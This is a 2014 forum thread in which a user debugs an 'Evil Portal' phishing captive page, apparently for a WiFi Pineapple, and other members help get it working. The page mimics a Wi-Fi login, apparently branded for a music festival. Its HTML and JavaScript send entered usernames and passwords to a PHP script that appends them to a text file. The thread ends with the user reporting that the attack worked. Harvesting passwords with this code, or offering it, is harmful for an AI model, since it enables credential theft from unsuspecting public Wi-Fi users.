Evil Portal-HELP with Portal code,plz.

bytedeez · September 18, 2014

Hi ALL,

I am having trouble getting my code to redirect to target website once summit button is pressed and also I can not get it to store text from user. I have tried a few different post on here and still can't solve my problem.

note: splash.html below is stored in /etc/nodogsplash/htdocs and capture.php in /www

<html>
<head>
<img src="$imagesdir/background.png" style="position: absolute; top: 0px; left: 0px" width="1300" height="950" />
  <title>$gatewayname Entry</title>
  <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
 
  <script type="text/javascript">
    function ajaxRequest() {
      if (window.XMLHttpRequest)  {
        return new XMLHttpRequest();
      } else if (window.ActiveXObject) {
        return new ActiveXObject("Microsoft.XMLHTTP");
      } else {
        return false;
redirectToTarget() {
  window.location = $authtarget;
}
      }
    }
 
    function sendInfo() {
      var xmlhttp = new ajaxRequest();
      document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
      var usernamevalue=encodeURIComponent(document.getElementById("username").value)
      var passwordvalue=encodeURIComponent(document.getElementById("password").value)
      var parameters="username="+usernamevalue+"&password="+passwordvalue
      xmlhttp.open("POST", "http://172.16.42.1:8080/capture.php", true)
      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      xmlhttp.send(parameters)
    }
  </script>
 
</head>
<body bgcolor="#DDDDDD" text="#000000">
 
<div id="results"><p><i>Enter your username and password below.</i></p></div>

<form id="pish" method="POST" action="http://172.16.42.1:8080/capture.php" style="position: absolute; top:700px; left: 800px" width="1300" height="1000">
  <b>Username</b><input type="text" name="username" id="username"><br />
  <b>Password</b><input type="password" name="password" id="password"><br />
  <button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit Info</button>


</form>
</body>
</html>

and my capture.php

<?php

$username = $_POST["username"];
$password = $_POST["password"];

$file = fopen("stored.txt", "a");
fwrite($file, $username . " " . $password . "\n");
fclose($file);

echo 'Thank you for supplying your password!';

?>

Edited September 18, 2014 by damavox

newbi3 · September 18, 2014

You're send the info to port 8080 and there is no web server running on port 8080 in the latest version of EP

bytedeez · September 19, 2014

Thanks newbie, as you can tell most of this code comes from your youtube material.

I'm guessing it's port 80 then?

bytedeez · September 19, 2014

changed it to look like this but still no go

<html>
<img src="$imagesdir/background.png" style="position: absolute; top: 0px; left: 0px" width="1300" height="950" />
<head>

  <title>Music Midtown WIFI Entry</title>
  <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
 
  <script type="text/javascript">
    function ajaxRequest() {
      if (window.XMLHttpRequest)  {
        return new XMLHttpRequest();
      } else if (window.ActiveXObject) {
        return new ActiveXObject("Microsoft.XMLHTTP");
      } else {
        return false;
redirectToTarget() {
  window.location ="http://172.16.42.1/capture.php?text=" + "&redir= $authtarget";
}
      }
    }
 
    function sendInfo() {
      var xmlhttp = new ajaxRequest();
      document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
      var usernamevalue=encodeURIComponent(document.getElementById("username").value)
      var passwordvalue=encodeURIComponent(document.getElementById("password").value)
      var parameters="username="+usernamevalue+"&password="+passwordvalue
      xmlhttp.open("POST", "http://172.16.42.1/capture.php", true)
      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      xmlhttp.send(parameters)
    }
  </script>
 
</head>
<body bgcolor="#DDDDDD" text="#000000">
 


<form id="pish" method="POST" action="http://172.16.42.1/capture.php" style="position: absolute; top:700px; left: 800px" width="1300" height="1000">
  <b>Username</b><input type="text" name="username" id="username"><br />
  <b>Password</b><input type="password" name="password" id="password"><br />
  <button type="button" onclick="sendInfo();return false;redirectToTarget()">SIGN IN!!</button>


</form>
</body>

got it working, now if someone could tell me how to conduct a 302 redirect in order to automatically trigger browser

Edited September 19, 2014 by damavox

sud0nick · October 19, 2014

bytedeez,

Look at my post on Evil Portal - Captive Portal. You should be able to get all of this to work pretty easily and it should redirect automatically after you log the credentials if you use

window.location.href = "$authtarget";

Also, why are you going through the hassle of creating an AJAX call with vanilla JavaScript? You would be able to clean up your code a lot if you use the JQuery function.

bytedeez · October 26, 2014

it was some code published from the mark 4 i had in stock, but never used.

Instead of wasting time rewriting it or simplifying i just need it to run. (because of time restrictions).

I was actually able to get it running, and it worked out very well!

Thanks for your help though!

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Evil Portal-HELP with Portal code,plz.

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